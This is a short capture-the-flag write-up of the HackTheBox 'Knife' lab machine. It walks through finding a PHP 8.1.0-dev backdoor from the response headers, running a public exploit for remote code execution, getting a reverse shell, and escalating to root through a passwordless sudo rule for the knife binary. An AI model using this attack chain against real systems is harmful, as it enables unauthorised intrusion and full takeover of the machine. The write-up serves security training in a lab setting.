HackTheBox Knife

```
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ip: 10.10.10.242
```

Enumeration

• Web server



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Taking care of our patients.

• Nothing much from gobuster or ffuf

• If we look at the request header carefully we can see the php version

```
knife/ (master*) $ curlie -I http://10.10.10.242 [20:51:26]
HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 15:22:36 GMT

Server: Apache/2.4.41 (Ubuntu)

X-Powered-By PHP/8.1.0-dev

Content-Type: text/html; charset=UTF-8
```

- We can see there is a exploit available for the specific php version
 - https://github.com/flast101/php-8.1.0-dev-backdoor-rce
 - https://www.exploit-db.com/exploits/49933
- We run the exp & got remote code execution & we can use netcat to get a proper revshell

```
master * python3 exp.py
Enter the full host url:
http://10.10.10.242/

Interactive shell is opened on http://10.10.10.242/

Interactive sh
```

• We got the rev-shell

```
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```

• We can run a binary called knife as superuser

```
james@knife:~$ sudo ~l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/bin\:/usr/bin\:/sbin\:/shin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife
```

• Here is some info about knife

About Knife

[edit on GitHub]

knife is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server. knife helps users to manage:

- Nodes
- Cookbooks and recipes
- Roles, Environments, and Data Bags
- Resources within various cloud environments
- The installation of Chef Infra Client onto nodes
- Searching of indexed data on the Chef Infra Server
- We can go to GTFO bins to look for ways to priv. esc.

root@knife:/home/james# id
uid=0(root) gid=0(root) groups=0(root)
root@knife:/home/james# |